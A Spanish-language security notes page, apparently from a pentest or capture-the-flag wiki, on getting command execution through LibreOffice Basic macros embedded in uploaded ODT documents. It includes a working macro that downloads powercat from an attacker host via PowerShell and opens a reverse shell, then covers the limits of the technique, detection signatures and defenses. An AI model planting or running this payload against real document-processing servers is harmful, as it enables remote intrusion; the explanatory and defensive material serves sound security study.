the_open_door
café
ESEN
← Volver al índice

RCE via LibreOffice macros (ODT)

Los documentos de LibreOffice/OpenOffice (.odt, .ods...) pueden incrustar macros en LibreOffice Basic. Una macro asociada al evento de apertura, o ejecutada por quien procese el documento, corre del lado del que lo abre. Si en un servidor hay un flujo que abre documentos subidos por usuarios (una conversión, una previsualización, un proceso de oficina automatizado), una macro maliciosa es ejecución de comandos con la identidad de ese proceso.

El vector aparece cuando un formulario de subida acepta ODT (a menudo rechazando explícitamente PHP u otros ejecutables, lo que da una falsa sensación de seguridad). Se crea el documento, se le añade un módulo con una rutina Main y se sube. En LibreOffice Writer: Herramientas > Macros > Editar macros, módulo nuevo dentro del propio documento:

Sub Main
    shell("cmd /c powershell IEX(New-Object Net.Webclient).DownloadString('http://<lhost>/powercat.ps1');powercat -c <lhost> -p <port> -e powershell")
End Sub

shell() ejecuta el comando en el sistema; aquí descarga powercat en memoria y abre una reverse shell, pero serviría cualquier carga. En Linux el mismo shell() lanzaría un bash -i o un nc.

Matiz. Depende de que las macros estén habilitadas en el lado que abre el documento. Por defecto LibreOffice las bloquea (nivel de seguridad de macros), así que el vector vive sobre todo en pipelines automatizados que han bajado ese nivel o que ejecutan las macros sin interacción. No es un "abrir y listo" universal.

Cómo detectarlo. La firma es el proceso de oficina (soffice.bin/soffice) lanzando cmd/powershell/sh como hijo (auditd/Sysmon sobre execve/Process Create con ppid=soffice), algo que convertir o renderizar un documento nunca hace. En reposo, un .odt/.ods subido cuyo manifiesto declara un módulo Basic (Basic/, script:module en content.xml) llegando a un pipeline de conversión es el indicador (FIM sobre el directorio de subidas). La descarga saliente de powercat/DownloadString cierra la cadena.

Defensa. No procesar documentos de oficina subidos por usuarios con macros habilitadas; convertir o renderizar en sandbox; exigir macros firmadas y mantener el nivel de seguridad alto. Relacionado con el RCE por subida de ficheros, la inyección de comandos y el CVE-2023-2255 (otra vía de RCE en LibreOffice, esta sin interacción).

Máquinas donde se aplica